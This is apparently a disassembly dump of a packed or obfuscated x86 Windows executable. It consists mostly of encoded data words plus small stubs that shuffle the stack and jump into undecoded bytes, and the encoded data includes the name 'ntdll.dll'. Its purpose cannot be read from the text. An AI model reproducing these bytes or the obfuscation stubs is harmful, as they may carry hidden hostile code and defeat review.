		dd 7D9B77FEh, 63A5413Ah, 0AF587027h, 0DE6321Dh,	0B1FC9DA4h
		dd 52FF4E75h, 6F10F317h, 0D515F622h, 0AF57D6D2h, 0BBF8BDD1h
		dd 9A074EEAh, 9EFEA71Ch, 68951FE5h, 441EF750h, 2182CE57h
		dd 3AEB480Dh, 0D1CA571Eh, 0A8E187F8h, 1286120Bh, 12DF1026h
		dd 11C1h, 0A2519B00h, 4BC3D055h, 0B1249852h, 718CE252h
		dd 59FFFC27h, 73129310h, 7D668C3Ah, 1F0895D0h, 57D6B3F7h
		dd 0E2E91AFh, 0E8C1DA47h, 0B71CE340h, 841E7EEh,	10AB09B2h
		dd 0FE3A4CEAh, 0C4AF57D6h, 1CB05E8Ah, 8F7833D9h, 0E9367F1Eh
		dd 48F278B0h, 0B600C6F1h, 6A3B78D3h, 9B0482CBh,	0F66CB1F8h
		dd 0C6FA3E48h, 6FC8B600h, 0C6F93FC9h, 6E45B600h, 5E9FBEC5h
		dd 0F029763Fh, 8D6BCDE6h, 3F28E589h, 6C2548EBh,	84D11BC7h
		dd 4D48F26Dh, 0BFDE41D7h, 4DE6A9F6h, 173798E4h,	63C4D55Ah
		dd 7F2088C1h, 0EB1195DCh, 8B2D6408h, 771F332Fh,	158DA14h
		dd 0E76D0000h, 0F7D80EB5h, 0BFF69257h, 0DF403972h, 0BCA6F2BFh
		dd 6C70Ah, 0D92BDB6h, 62B8F194h, 0EC2C5E84h, 0D6B60006h
		dd 0D1743B7Dh, 6F73355h, 62CDB600h, 0CC375D89h,	6CBDE2A7h
		dd 766A2h, 0A5F35CB6h, 773E5DC6h, 65CE672Ah, 30763F5Eh
		dd 77E6A884h, 5B4F14h, 0EB110000h, 40501261h, 7F877FF8h
		dd 0B6006D3Bh, 788AC768h, 6CB0E812h, 0B992B600h, 0E74368C0h
		dd 0ADDF0BB6h, 2F57D74Dh, 57971C37h, 2F57D753h,	3E632E50h
		dd 278CC965h, 0C756DF4Ch, 4C5BC473h, 10AA50EBh,	0AF57D6F8h
		dd 3F2561CAh, 0D371B0D4h, 2B04159Ah, 0BC039586h, 0A6h
		dd 0EB5E79Fh, 3751B2D8h, 0B0F8317Eh, 0AD7B6h, 72689B6h
		dd 60C8E14Eh, 772875DEh, 0E3099DD4h, 0B070345h,	52FDB600h
		dd 733A59C6h, 0BE72C2Eh, 2953B600h, 42EFA6C6h, 1E5BF869h
		dd 0BB109891h, 1950F3FAh, 0EC9A3A8Dh, 0C040446h, 55FEB600h
		dd 0C6DADh, 3FC57B6h, 692BA5E7h, 3E19BCAEh, 0EE8A75F1h
		dd 8FAE71A7h, 45E82D4Eh, 9D76A70Ch, 0D3F87FA4h,	0D2E15352h
		dd 64B5FAB3h, 0B32D5F8Bh, 0B5C35CC5h, 0C360254Ah, 1F804EEAh
		dd 0BEEF347Dh, 2BB92B24h, 635C42BDh, 87BF3927h,	59C7F7FAh
		dd 1F56F556h, 0B5E79299h, 30AED80Eh, 12B60634h,	82BF439h
		dd 4EE010A0h, 554E71AFh, 7B8D2BD1h, 0B6067C3Fh,	218E2A05h
		dd 64E64B02h, 0E99A81F5h, 7F862F9Ch, 8E7195DCh,	2F78A5E0h
		dd 0FDA00389h, 98B66FB4h, 249150DDh, 718B317Bh,	0E99A8239h
		dd 2788200Bh, 8A4C504h,	9E4B790Bh, 0DF443DE7h, 0EE51D5CEh
		dd 2899064Fh, 3, 0FFCBB003h, 138C1158h,	2BF43970h, 42E34009h
		dd 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h,	0BF60CD84h
		dd 0FA4AD792h, 20DF68h,	24348900h, 0C8568h, 241C8900h
		dd 5E8668h, 24048900h, 6F7FB850h, 0BB5329ACh, 5DDD7441h
		dd 0C15BD821h, 0BB2D08E0h, 2D22700Bh, 59453ADDh, 0A68435h
		dd 58C38916h, 24048B54h, 8304C483h, 1C8904ECh, 8408F24h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0DEh, 0AAh, 3Fh
		dd 3EE7BD44h, 0AE61B7B8h, 0FFC50306h, 6D84F1E0h, 42076B37h
		dd 8DA83251h, 9E872h, 74FE0000h, 0C52E477Fh, 6613C97Ch
		dd 0B15FD78Bh, 14C78160h, 0F000071h, 118Dh, 0B800F00h
		dd 0E8000000h, 5, 8B99D673h, 7B859D6h, 81741B41h, 0E4DB1EC0h
		dd 0FFEC8A8Bh, 0C9816637h, 8B5B5165h, 24C381F2h, 8B1FCF71h
		dd 0CCC381CBh, 602789E9h, 61F9B70Fh, 0C2DFF381h, 0BF0F6F59h
		dd 561F89F2h, 5AF1BF0Fh, 6602EF83h, 4FDBB9BAh, 0EA81664Fh
		dd 0E881B7CFh, 1, 0FFB9850Fh, 0B966FFFFh, 5E80992h, 52000000h
		dd 0B14A3D03h, 5BC18B66h, 0CE9h, 0D2BC7000h, 0E794D2B5h
		dd 5B5E47EFh, 0D7C3810Fh, 0E9000062h, 0Bh, 4E1FA8FAh, 38E119h
		dd 6818EE0Ah, 1882h, 0DD92BE66h, 0FE95Ah, 0C9460000h, 16B46FF5h
		dd 0D6FAACEEh, 0B0C84952h, 0F50B8B9Eh, 3D9BF181h, 0BA607325h
		dd 71333E6Eh, 2AE6BA50h, 615B316Dh, 3D17E981h, 0EF81610Eh
		dd 3F630C5Ah, 0D2CCC181h, 0BE6675E8h, 0E951F813h, 0Fh
		dd 388FB541h, 51E1502Eh, 45AABCA8h, 8F1016CEh, 8C0F03h
		dd 83000000h, 7E904EBh,	0B2000000h, 8ACA3677h, 0F4A9D7Fh
		dd 0D85h, 0C2B70F00h, 1DE9h, 833A0100h,	0F6811FDAh, 313E5181h
		dd 0FFFF88E9h, 9AB686FFh, 2407F47Dh, 4D0AA971h,	8D8DF592h
		dd 6AE64D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0B7C35646h, 662F2F7h, 0E999C23Ah, 7, 91CE8630h
		dd 89C393E0h, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B194D460h
		dd 4D6EB782h, 14E942AEh, 0E6000000h, 2F28BCC6h,	0A07C26C8h
		dd 2B5C64ACh, 9FDFB996h, 0C755BE4Ch, 0A8146985h, 65FC06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9E815A0Ah, 85235084h, 6A81E75h, 97CA815Bh
		dd 0C70792DAh, 0A80BBD85h, 6, 6E900h, 0FC3B0000h, 13D8BCD6h
		dd 0D41B5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0EADA84C3h, 0F3A784Ah, 95FFFABFh
		dd 6A820DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	6AC35646h, 8D8ED297h, 6AF9BF0Fh, 3195FF00h, 8B06A81Bh
		dd 1E7CEBC0h, 59D63327h, 0D4253CB2h, 8347DA9Bh,	6021BA51h
		dd 673366B0h, 0F319E057h, 362714Fh, 8C18098Dh, 0B6DE4A48h
		dd 0F10F7B22h, 9C878EECh, 0E1FC5C07h, 0B63BF345h, 6C15FA05h
		dd 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch, 26CC7D62h
		dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h
		dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh
		dd 4750FBFh, 8DA7B398h,	0AE661E8Dh, 0B98D8906h,	0E806A805h
		dd 14h,	0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh
		dd 1DB1BD29h, 0C75806A8h, 0A8146985h, 6E1406h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0C737EF17h, 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C59896B8h
		dd 0A3B11726h, 0B70FFCA4h, 61B5FFF1h, 6A06A815h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0C015C357h, 0B47EF2BBh, 1BD018Dh, 0FF06A811h, 0A820DD95h
		dd 5800F06h, 66000000h,	7A58CB81h, 95FF006Ah, 6A81B31h
		dd 0BEBC08Bh, 9CE86986h, 284FB496h, 0E903A9C8h,	4Ch, 4865EDBDh
		dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch,	1467006Ch
		dd 8003B2BDh, 0FEB9h, 0Bh dup(0)
		dd 682E9h, 67B96800h, 33E906AEh, 68FFFA17h, 6AE687Ah, 0FA1729E9h
		dd 690D68FFh, 1FE906AEh, 68FFFA17h, 6AE69D6h, 0FA1715E9h
		dd 6AA868FFh, 0BE906AEh, 68FFFA17h, 6AE6B83h, 0FA1701E9h
		dd 51183FFFh, 80C56AD5h, 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h
		dd 0A9690897h, 0DE41C588h, 0AB5F1BCh, 3CE7236Ah, 52CA5019h
		dd 3D3A7E88h, 0C208B606h, 29DF65h, 0FFFA0000h, 1788155Ch
		dd 1FE93D74h, 0AF57D717h, 0D48E6C9h, 0A16004ABh, 0BC65CA83h
		dd 3FCD59Ch, 471F5987h,	0FE3E37CBh, 0E7505BDDh,	0AED80EB5h
		dd 0B60005A3h, 0E169B661h, 0B60004A5h, 0C9C96AC1h, 1477F8DDh
		dd 22E38h, 27010300h, 0C9FD46F6h, 0FFED4CBFh, 0E91D36B5h
		dd 84296406h, 0EC31781Bh, 0CE56C2BBh, 0D198BB24h, 0BDD5B4Ch
		dd 7A2E94FCh, 0A61DBFh,	78B0F99Fh, 0C38948F2h, 0D07B80D6h
		dd 0D16ACA53h, 2D049335h, 0F9DA8782h, 76981055h, 658329DDh
		dd 822CE723h, 4872DD87h, 87822D50h, 559F1932h, 3D4FCB6Ah
		dd 87822CFDh, 57736CC7h, 1986CB6Ch, 8122A800h, 577DABE2h
		dd 5921A8D3h, 48CE95Ah,	23460000h, 0DE73DC6Ah, 84A40F9Bh
		dd 0B8D679CDh, 6506A9FDh, 64159228h, 7AC08DAEh,	0B6F4B9D9h
		dd 0E0266F0Dh, 0D1551C3Fh, 35759755h, 0FB6063Eh, 5CFF62C9h
		dd 0DCB5F09Dh, 0DD66D657h, 3F658329h, 57D78D8Dh, 32DC77AFh
		dd 0AF57D6F6h, 0D75A5EE8h, 0F28AF57h, 2C454FFh,	0B600016Bh
		dd 0C1531F59h, 321EA303h, 0C49CCD59h, 0C089AB14h, 0C67DDF68h
		dd 0E573E620h, 0E651BCA8h, 28609AC0h, 1ABCA8E5h, 893FE731h
		dd 55469F28h, 60023163h, 0BE97802Dh, 0CCF3FE08h, 66D15BEEh
		dd 67DC7039h, 366E3943h, 3654629Ah, 26E0ADCDh, 629A35E2h
		dd 689E77A0h, 19ADE487h, 2ADE97B6h, 4690CA84h, 0CBDEA704h
		dd 85000003h, 0B41FABE2h, 0E34CDA9Fh, 15BE0C45h, 45EE3C79h
		dd 56DD6924h, 34EEF23h,	377A1C87h, 652C50F3h, 96DF7E21h
		dd 34569410h, 0B6063EF4h, 0FFA388CEh, 0F88155Ch, 4AF016ADh
		dd 2380C569h, 0E158AE0Ah, 0A3B60008h, 2B893288h, 0F4397018h
		dd 0EA1CCAA3h, 0BCAE6EE9h, 8DD891DBh, 392B9A86h, 8B86CBA1h
		dd 0D5CEB12Fh, 0A288B31h, 2746E94Fh, 0D477D86Eh, 2597109Dh
		dd 0D7DE689Eh, 89C3564Ah, 6A3FEC4Fh, 74A4BF15h,	14761CAh
		dd 8FE5D4D2h, 338532Ch,	57F20000h, 0A27881Eh, 3058FB4Fh
		dd 0EC822D79h, 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h
		dd 5CEAA3C1h, 8D1950F3h, 81B9C319h, 43B60640h, 5CFF1E05h
		dd 14533AF4h, 5899B6F2h, 2BA38CAFh, 58C9102Ah, 1C817A37h
		dd 6482399Bh, 0FFF26722h, 0B4F25DB5h, 8DC8654Eh, 1AAA42Bh
		dd 1870000h, 1349EB2Ch,	937AF3FCh, 61A8220Bh, 7CBB1177h
		dd 345615Ah, 0B60086D8h, 4F06258Eh, 0A16FC9E2h,	0F0F41276h
		dd 0ABAB3D7Dh, 0F214B209h, 0B1E58D47h, 0C8D123Dh, 0B1F89BA8h
		dd 0D9822D8h, 0F7B890F7h, 0B1FEB3D4h, 785B8F78h, 0D11B9DD4h
		dd 6F2A48ABh, 0E04FE9C2h, 48B6F4BDh, 2D8BC667h,	7EAAE382h
		dd 0F09A0934h, 6FC6BF7Ch, 29000002h, 60C3470Eh,	8F307633h
		dd 0B91AA0E9h, 0E94AD095h, 3A810548h, 0B7FA9B77h, 0E3AED073h
		dd 1158FCA7h, 420B2A95h, 40FA60C4h, 0B6064048h,	0FF57FC3Ah
		dd 5288155Ch, 1E9AD371h, 6A902B89h, 2464A6CCh, 1EAF57D7h
		dd 0FBBED435h, 1D4ABBDh, 85AEB600h, 0D48C6001h,	0BACC48EBh
		dd 0B600027Eh, 0ADF2EB44h, 0C96B3C7Ch, 0C7325472h, 99BCA817h
		dd 0D4591436h, 3A672A4Bh, 94FE08E1h, 0A9A7C246h, 3E5CE236h
		dd 0A8448C8Ch, 0E4DD76BCh, 2D294284h, 32624B8Ah, 0D2725D89h
		dd 0B5D71D9Bh, 52323D06h, 4DCE53FCh, 8B654EFh, 6DCB86A7h
		dd 0DDA70C9Bh, 0A95DF658h, 0B4FDA003h, 6AA43E6Fh, 22FEE896h
		dd 0F1941B9Dh, 0A2C162B8h, 366F3DEBh, 0F231504Dh, 19D11h
		dd 79305700h, 0A8ED822Dh, 0DE97B112h, 0E4BE748h, 3B7617B8h
		dd 0C15160EFh, 0F659EDA0h, 228D1954h, 54FF4B02h, 0BA227831h
		dd 412266A0h, 0DAE0B606h, 155CFF7Dh, 16AD0F88h,	8B004AF0h
		dd 65A5E75Fh, 5FAF588Eh, 48ADFAF4h, 9F1AEC4Ch, 41B600D6h
		dd 59F93C5Eh, 0A59E8F14h, 47892F78h, 244C064h, 0B600D606h
		dd 357A53FCh, 90BF0BE4h, 0E586B5E7h, 5E377220h,	48074165h
		dd 1EB6063Dh, 3D5256F0h, 730B606h, 26C46F91h, 53D79EBDh
		dd 64294AB5h, 0E54AEE3Fh, 91DB0F46h, 0A35C251Eh, 5E6328Fh
		dd 7FAB1084h, 0B4C400CDh, 0BD69C2BCh, 2C7A3352h, 4A9E083h
		dd 77609CDEh, 0F2EB631Eh, 276B2D4h, 0E34CBCB4h,	0F942F2B5h
		dd 1CB0BBCDh, 0B992C35Ch, 0CEE3370Fh, 0E95A59E5h, 0C2h
		dd 1694DD7Ch, 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch
		dd 4BEC264Bh, 7F1F8006h, 294BF432h, 0DA79DA60h,	55971793h
		dd 641F733h, 0A08FCDB6h, 723B59BAh, 88336126h, 3D1F2852h
		dd 0DEC1B606h, 9BA5F3BAh, 93B273B0h, 50F13C52h,	0AE87901Dh
		dd 9BB72801h, 6F5851DEh, 7DD578DBh, 8EDC459Eh, 96342D0Eh
		dd 0DEDADE68h, 8FA8B605h, 56B0BA29h, 7F04D160h,	7F1E258Eh
		dd 2C4FF036h, 0E11B4165h, 4D15FA9h, 8B78B09Bh, 0EC31741Ah
		dd 0D8DF406Dh, 142B1DB5h, 8B96EC2Bh, 88AB1492h,	58865CC1h
		dd 0D155EA2Eh, 397FD804h, 1556h, 1CBA7100h, 57D6AEEAh
		dd 0FBB94AFh, 57D6BDFDh, 0CAC87AFh, 58FF77ECh, 70138C11h
		dd 92BF439h, 2042E340h,	3E5FC06Dh, 0D4752E73h, 0E78B1499h
		dd 84A47DA2h, 92BF60CDh, 83FA4AD7h, 2C8904ECh, 81E58924h
		dd 4C5h, 4ED8300h, 5C242C87h, 81E68956h, 4C6h, 4EE8300h
		dd 5C243487h, 68243C89h, 6AAh, 50240489h, 7D2DBD55h, 0CD8173AEh
		dd 6F2359EFh, 17EEC581h, 0E5C17FB1h, 8CF58104h,	4D578C3Dh
		dd 0F99BED81h, 0E8899AD6h, 58C7895Dh, 24048B54h, 5204C483h
		dd 8BAh, 89C20100h, 24148B3Ah, 4C481h, 48B0000h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 5F2434FFh,	0E904C483h
		dd 0FFFA10C2h, 4D9AA630h, 0B87AE022h, 6AE6C6Ah,	0E0FFC503h
		dd 54BBBF4Fh, 7EFF3DFBh, 0CB9A2E8h, 62DCDF2Eh, 52FE8380h
		dd 597E0AB3h, 3C72DDAFh, 44513CDAh, 169124A3h, 2C5D0547h
		dd 1B7EDC72h, 3B662C63h, 119B8406h, 54021299h, 59CDFF9Bh
		dd 0B6D4369h, 2013FEBh,	42B78298h, 50520100h, 520493AAh
		dd 9E9h, 9165B600h, 7Ah, 88E90000h, 8D000005h, 0BC67A3EAh
		dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch,	1B56F71Bh
		dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h,	0B60643ECh
		dd 896A90D6h, 2C7DA2EBh, 5CFFA78Ch, 76178815h, 2144EF3Bh
		dd 3B5ACB68h, 0DF742D72h, 0CDBE159Ah, 0BA3E5D64h, 57D70800h
		dd 7851FAAFh, 22E38122h, 4743850Dh, 3DAF57D7h, 0A3F43912h
		dd 0B1D37CCAh, 1D82CF70h, 0CF7130Ch, 0ADFE2366h, 0D6CBCF79h
		dd 9EB9AF57h, 56F8A91Ah, 7A53961Bh, 0DB92B2B9h,	841E44Fh
		dd 0D764A3ABh, 0C1D6AF57h, 0D6665260h, 5F8112DFh, 5B000000h
		dd 0E38F8B3Dh, 0DA75AF57h, 5CFF555Eh, 484E8815h, 0B2AF57D7h
		dd 82C76B54h, 37AC0C1Dh, 0D6706C6Eh, 19712DFh, 0A8000000h
		dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 63895536h, 57D6E1D9h
		dd 2088A3AFh, 0A97D27Fh, 0AB0F599h, 5CC184A9h, 977EED4Bh
		dd 0D9767D26h, 463F7214h, 753C5FC0h, 1CBA0A31h,	57D6AEEAh
		dd 0F95A94AFh
		dd 4CC4799Bh, 713E7A53h, 0F23650D0h, 0D0AF58A0h, 2B620667h
		dd 62B9432h, 6BCDDE43h,	0AE0A27F8h, 3453EC23h, 662B4B20h
		dd 1EF7E039h, 21681091h, 4F0223FCh, 199A73E2h, 0F4397C12h
		dd 0EE47CAA3h, 0D81D3E45h, 8501FAB7h, 0ED327B1Ah, 2FEE8E71h
		dd 0CEDF440Dh, 0D95F48D5h, 367B3256h, 3A38F952h, 12DF22BEh
		dd 92D9h, 5EFF6200h, 7DDFFDF2h,	2C9974D9h, 4333CBE9h, 0ADED1F2Dh
		dd 97AF58BFh, 45EAC3BCh, 0A8F5BCDCh, 0C8CF50C5h, 0BA3CEAA7h
		dd 1DE7A877h, 0FC0EBCB0h, 0AF583CBCh, 810BAD86h, 0F3307D1Eh
		dd 0D4591C32h, 3D62274Bh, 2489C064h, 0E170316Eh, 0A753A5BFh
		dd 0D590BE50h, 0EF875F48h, 59748EEAh, 0CBF192Ah, 0C061DA5Eh
		dd 0DFDE36B2h, 5F5112h,	0BAEA0000h, 2E733A59h, 53F4BBFDh
		dd 6C10911Eh, 0E3C8F825h, 0B6D07E42h, 0AF57D772h, 0EEB1E750h
		dd 0AAE7884Dh, 0FF4E75B1h, 5FF9DA52h, 0D6ACEC16h, 8B2AF57h
		dd 0AF57D710h, 0AE8959F2h, 0A7EE68B5h, 15AF57D6h, 19531D86h
		dd 0E5348846h, 6C8953Fh, 0E5A49F57h, 4531E533h,	0A012DFE7h
		dd 1, 3B59BA7Bh, 0F6325472h, 0CCAF57D6h, 0CE6A3563h, 0EA891A87h
		dd 0AAF507A3h, 0B6A8A89Ch, 0FF02E137h, 2BDA55A7h, 0C9C42A98h
		dd 242BF46Fh, 8D36AC04h, 3865204Dh, 402817EFh, 0CF541D3Fh
		dd 0EF84E5DEh, 3B1405AAh, 43F85CEFh, 0B9C665A7h, 5EBCB600h
		dd 0B9EC2Ch, 847DD6B6h,	0AEE7861Fh, 3C94B718h, 51B487C6h
		dd 0D3F7E0EDh, 9FC7C399h, 262D6Dh, 0A23C17B6h, 0FE08D669h
		dd 3B15E465h, 0ED5EDA30h, 0BD2B6Dh, 931C97B6h, 2119A3C9h
		dd 0E3B600BDh, 30689248h, 12B600BDh, 0D30FF39h,	3E5DC644h
		dd 0DA792A77h, 0F9950E93h, 51EB77BCh, 0B600BD59h, 0F99F002Bh
		dd 96B273B0h, 0B65952DFh, 37E4941Dh, 1736279Ah,	0C865ECC5h
		dd 743D6067h, 658EC836h, 6BE41550h, 85712573h, 6014777Dh
		dd 128h, 0EB5E7BBh, 0F214B2D8h,	0AF57D6B6h, 0F375A38Ch
		dd 0B6000670h, 0EBB4F952h, 1A850148h, 4D4DFF7Bh, 37B60006h
		dd 25FE231Ch, 5FE24F06h, 7262DF6h, 605CF84Eh, 0AF1477F9h
		dd 64A62E44h, 0B6001224h, 0D75C351Eh, 4CA052C6h, 7B000000h
		dd 3E8630BAh, 19E87AF4h, 1CA7089Fh, 53C5CEEh, 0A5062F58h
		dd 48D5CE87h, 58058A8Eh, 0E970C2Fh, 0AB780842h,	141E85E6h
		dd 9F920384h, 2CDAB3FEh, 58CF7E9Ah, 0BD2644AFh,	5E4FD491h
		dd 58CF74B4h, 0CE54EAFh, 9235BEh, 0E7100000h, 3B8FEFB5h
		dd 8CB6EDCFh, 8FC97793h, 0A49CAEDEh, 8F8B33CCh,	75AF5821h
		dd 72945EDAh, 0B600549Bh, 68254669h, 6BAD33CBh,	0DB2C3CADh
		dd 0FBA409E2h, 6EAADC58h, 54B600C1h, 0A099D073h, 0ADD073B7h
		dd 5A3BFE4h, 0C0C7C3h, 692BDB6h, 0C1C3C0h, 0FBA40FB6h
		dd 821851F4h, 0FA209B39h, 0EC317419h, 55F77DBBh, 0BCAF2FB5h
		dd 0A67FA48Fh, 9E61CE87h, 0DF7D6C35h, 64044664h, 7AC35D9Dh
		dd 9D6EAADCh, 0FB54C35Dh, 0E1650E3h, 0EE4A40ABh, 94B3F720h
		dd 0E786B5E7h, 0EB11B5AEh, 0E32B6608h, 0AF57D7A7h, 0FC66B29Dh
		dd 0F27A0456h, 23BBF291h, 5ADEA33Fh, 6B7EC8Ch, 497DD6B6h
		dd 0EA8B6C0Fh, 8130B642h, 0FE74F109h, 1D8E2A03h, 7E20E184h
		dd 0C4BDEE33h, 0F7BEDD46h, 3E4999D3h, 0AFA7E325h, 0B29DB606h
		dd 41D5B238h, 93F274D7h, 2232452Eh, 42E1E849h, 7114BF0Bh
		dd 0C16FFB38h, 452E8387h, 42D64132h, 0AFF4B1DDh, 9BA203A8h
		dd 0CA75B1F8h, 0C4BDE2ABh, 3, 0FFCBB0E7h, 138C1158h, 2BF43970h
		dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
		dd 0BF60CD84h, 0FA4AD792h, 5E08950h, 4,	8704E883h, 248B2404h
		dd 0E0895024h, 405h, 42D00h, 4870000h, 3C895C24h, 781D6824h
		dd 4890000h, 4EC8324h, 0B8240489h, 6AE6D72h, 6858C789h
		dd 595Fh, 81242489h, 42404h, 57580000h,	3C243481h, 8F1FA375h
		dd 0BB530840h, 8, 3381C301h, 1FA3753Ch,	24048B5Bh, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h, 0D3E904C4h
		dd 37FFFA0Ah, 687332FCh, 5FE02D27h, 0B8D61BEEh,	6AE7267h
		dd 0E0FFC503h, 5BAC48B3h, 1F38D7A5h, 134DDBD3h,	48487CAEh
		dd 26996BE8h, 9A59A6Bh,	49D9811Bh, 0A5557FDh, 4A7E4D5Dh
		dd 3D587141h, 44FBCA96h, 2B1D3C07h, 49028866h, 666E03A8h
		dd 1D98CAFBh, 39112963h, 71D15BD9h, 70C8D3F7h, 76496AD4h
		dd 10E9182Dh, 2F503F9Fh, 0DE8h,	0D623D100h, 0E8760D89h
		dd 10ECD303h, 870FCA54h, 2, 5358EB8Ah, 5B5E5051h, 2CC0815Bh
		dd 0BA000063h, 2E871410h, 493C281h, 0BE66D179h,	388BBE31h
		dd 0D1B70F60h, 5E9h, 8BFEC500h,	81610F5Dh, 37E9F7EFh, 7A6BB97Dh
		dd 0F78111BFh, 21F2EC52h, 60EF81FCh, 523E5E8Fh,	0F5BFCB9h
		dd 66575E16h, 8FCB8Bh, 4E883FCh, 0EA81CA8Bh, 1,	18850Fh
		dd 26E90000h, 97000000h, 0CB4D0D96h, 7ABDE963h,	8214B1AEh
		dd 6D567C7Ch, 81664172h, 0E9E357C9h, 0FFFFFF96h, 51ACDBAEh
		dd 0A0298CDh, 2DE9E8h, 0AED20000h, 1C74h, 9 dup(0)
		dd 0E9000000h, 4A5h, 0AE754A68h, 980E906h, 0B868FFFAh
		dd 0E906AE75h, 0FFFA0976h, 0AE76F768h, 96CE906h, 8FAAFFFAh
		dd 0B2DF40C6h, 6810B3F7h, 143AE521h, 0C96AD551h, 0F8B90684h
		dd 0F634791Ah, 0DA602D4Dh, 1492DB79h, 45C188ABh, 0C9C17BE1h
		dd 0BBB6064Ah, 5EFFD67Dh, 76158E13h, 6ADB96B7h,	0C1D82CBh
		dd 80349713h, 0E1DA9FB3h, 2D6D9FC5h, 17AF57D7h,	54D990B4h
		dd 54F96A43h, 2B5D8711h, 0B5FFE184h, 0AAEE187Eh, 98B5FFE0h
		dd 9159C6BFh, 0B5FFE195h, 0A6C82B31h, 86B8D80Ah, 534C29ADh
		dd 0C76CDDCEh, 0F4BD1682h, 773B0AE6h, 2A3ED14h,	1360000h
		dd 0F843F122h, 0ED51B8C2h, 1833B5FFh, 539766A0h, 0A014B365h
		dd 3741EF1Bh, 0BDC0DD92h, 0ADC5CA4h, 0BA0D7B03h, 1DC956C1h
		dd 0F3A783DBh, 5CDC6F3Dh, 34D269CBh, 0B5B95592h, 56E52FC0h
		dd 521004BEh, 0EA10B6AFh, 9AFE3A4Ch, 8AC4C0B5h,	0D416DE68h
		dd 2E8A63D0h, 1FABE281h, 20D891B4h, 0E875F0D5h,	0EB1BE4C7h
		dd 0B5000002h, 0E44FDB92h, 13BC0A4Fh, 45EE3C75h, 75DE6C29h
		dd 860D99D4h, 337E1FF3h, 672A4CF7h, 95DC8023h, 0C68FAE11h
		dd 0C406E440h, 0B6064BC4h, 0E7D378BEh, 0F7D80EB5h, 0B8F19356h
		dd 658369CFh, 895D87Ah,	504F991Fh, 32B6064Bh, 6102ED19h
		dd 8F709E2Ch, 2C7DA2EFh, 4F02238Ch, 4B1B18E2h, 0E588B606h
		dd 0C2937CACh, 1E9DF324h, 27DA5h, 69204700h, 98DD72DDh
		dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
		dd 12BD0944h, 44EF3B72h, 4AD26821h, 4C327690h, 0CA10B606h
		dd 0EB5E76Dh, 4B6FAED8h, 7255B606h, 7AA099DCh, 66B2FB99h
		dd 0D7765985h, 0C8CC1A9Eh, 0DBB6064Ah, 0F4ADF2B7h, 549B1851h
		dd 0F927B67Fh, 95819112h, 701471A6h, 165h, 9D5CFFCBh, 54D9B2FBh
		dd 0C5E1A8CBh, 0A8F5B8DAh, 0E853397Fh, 0B1CBFF44h, 0B5FFF64Eh
		dd 54961B34h, 0B5FFF650h, 1C1E876Ch, 1477CD20h,	4AC7h
		dd 0B5E75800h, 5AF7D80Eh, 3553991Fh, 0D67BA8A3h, 0E2182E79h
		dd 58BF6058h, 0AF0922AFh, 0ED4659h, 8E133CB6h, 0ED484Ch
		dd 268F64B6h, 93DA795Ah, 72B6D00Eh, 50B600EDh, 0FE9D0EE7h
		dd 0E7316AB7h, 76C04733h, 0ABA614h, 0FF790000h,	6AAED85Ch
		dd 58AF57D7h, 96E006FFh, 2FDA2A9Ch, 0F96ACE97h,	0E54A0728h
		dd 0D350193Ch, 2C7A3352h, 585AB8DAh, 2745AEAFh,	40E8C16Eh
		dd 0B1F5BCDFh, 0E91DA616h, 2FA705Fh, 0CDF952B6h, 0FA2565A7h
		dd 0DE7EB602h, 0BCFC5797h, 612C4DB6h, 94D97A25h, 28138574h
		dd 532C8FF3h, 13Eh, 92286108h, 0CD591C31h, 3B8FC662h, 6BBFFA98h
		dd 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h, 5EFDA6E4h
		dd 0D10B9317h, 64D73B7h, 2C0B51B6h, 97135EFFh, 0AFE68669h
		dd 0CC81A102h, 0BBDA45D3h, 204EB4F2h, 57D7A2E6h, 61B760AFh
		dd 155CFF3Ah, 3D741788h, 4F844F89h, 59E3BAF2h, 62D275DFh
		dd 4A9B2DD9h, 38B6005Ah, 6708EB1Fh, 2A6A9C2Ah, 79B6005Ah
		dd 0AC1793DAh, 8D59C68Bh, 0E74C0122h, 0B79D62B6h, 79000000h
		dd 7DBBF296h, 3859BA36h, 3B7E1475h, 0B473A5F6h,	0FD0FBB00h
